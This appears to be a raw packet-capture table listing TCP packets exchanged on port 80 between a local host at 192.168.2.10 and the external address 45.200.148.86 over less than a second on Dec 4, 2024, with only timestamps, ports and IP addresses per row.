Dec 4, 2024 15:12:32.430421114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.430433989 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.430514097 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.430514097 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.430517912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.430531979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.430546045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.430560112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.430609941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.430609941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.432126045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432205915 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432216883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432252884 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.432356119 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432367086 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432379007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432389975 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432414055 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.432446957 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.432621956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432660103 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.432688951 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432744026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432754993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432795048 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.432859898 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432871103 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432883978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.432893038 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.432919025 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.433087111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433099031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433113098 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433130980 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.433187962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433208942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433221102 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433233023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433255911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.433469057 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.433540106 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.433953047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434010029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434021950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434067965 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.434149981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434222937 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.434288979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434300900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434329987 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.434612036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434659004 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434670925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434705973 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.434756041 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434797049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434809923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434820890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.434878111 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.435259104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.435296059 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.435333967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.435347080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.435380936 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.435518026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.435528040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.435539007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.435551882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.435573101 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.435595036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.435725927 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436178923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436219931 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.436306953 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436319113 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436352968 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.436532974 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436544895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436557055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436589956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.436753035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436788082 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.436820984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436917067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436928034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.436949968 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.437041044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437052965 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437074900 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.437110901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437143087 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.437499046 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437570095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437582016 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437619925 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.437693119 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437730074 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.437761068 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437772989 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437896967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.437916994 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.470577955 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.475931883 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.571352959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.571376085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.571388006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.571436882 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.571513891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.571578026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.571589947 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.571604013 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.571611881 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.571635962 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.573246002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573324919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573337078 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573365927 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.573404074 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.573565006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573630095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573642015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573676109 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.573736906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573788881 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.573818922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573832035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573868036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.573905945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573925972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.573956013 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.574136972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574227095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574239016 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574280977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.574392080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574420929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574426889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574433088 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574466944 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.574596882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.574642897 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.575061083 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575125933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575139046 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575170994 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.575272083 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575284004 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575298071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575310946 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575310946 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.575333118 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.575541973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.575588942 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.575978994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.576026917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.576039076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.576065063 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.576230049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.576241970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.576253891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.576266050 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.576277971 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.576308966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.588274956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.602781057 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.622311115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.622426033 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.622431993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.622448921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.622462988 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.622502089 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.622596979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.622608900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.622621059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.622644901 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.622673988 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.624252081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624310970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624325037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624356985 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.624470949 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624483109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624494076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624525070 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.624553919 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.624686003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624699116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624733925 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.624820948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624834061 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624846935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624877930 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.624964952 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624977112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.624989033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625013113 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.625030994 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.625189066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625248909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625260115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625286102 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.625361919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625372887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625385046 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625418901 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.625524998 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.625587940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625602007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.625634909 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.626024961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626080036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626092911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626131058 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.626205921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626228094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626240015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626247883 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.626267910 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.626611948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626689911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626702070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626723051 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.626849890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626863003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626874924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626887083 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.626902103 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.626928091 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.627384901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.627413988 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.627425909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.627449036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.627464056 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.627604961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.627615929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.627629995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.627643108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.627652884 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.627685070 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.627808094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628249884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628294945 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.628318071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628329992 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628365040 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.628448963 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628472090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628490925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628511906 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.628870964 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628983021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.628995895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629020929 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.629050016 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629051924 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.629120111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629142046 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629156113 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629194975 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.629683018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629837036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629857063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629878044 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.629935026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.629976034 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.630004883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.630017996 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.630034924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.630065918 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.644962072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.655549049 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.763370037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.763425112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.763427973 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.763437033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.763469934 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.763602972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.763614893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.763626099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.763637066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.763650894 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.763670921 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.765443087 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765453100 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765494108 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.765496016 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765580893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765626907 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765640020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765651941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.765677929 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.765795946 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765809059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.765845060 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.766099930 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766236067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766247988 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766273022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766278028 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.766285896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766309977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.766436100 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766447067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766458988 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.766479969 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.766504049 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.766985893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767087936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767101049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767136097 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.767242908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767252922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767263889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767285109 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.767303944 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.767575026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767602921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767615080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767663956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.767792940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767805099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767818928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767832994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.767841101 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.767857075 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.768003941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.768047094 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.768583059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.768651962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.768663883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.768692970 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.768866062 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.768877983 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.768888950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.768908978 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.768949032 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.771116972 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.814318895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.814368963 CET	80	49792	45.200.148.86	192.168.2.10
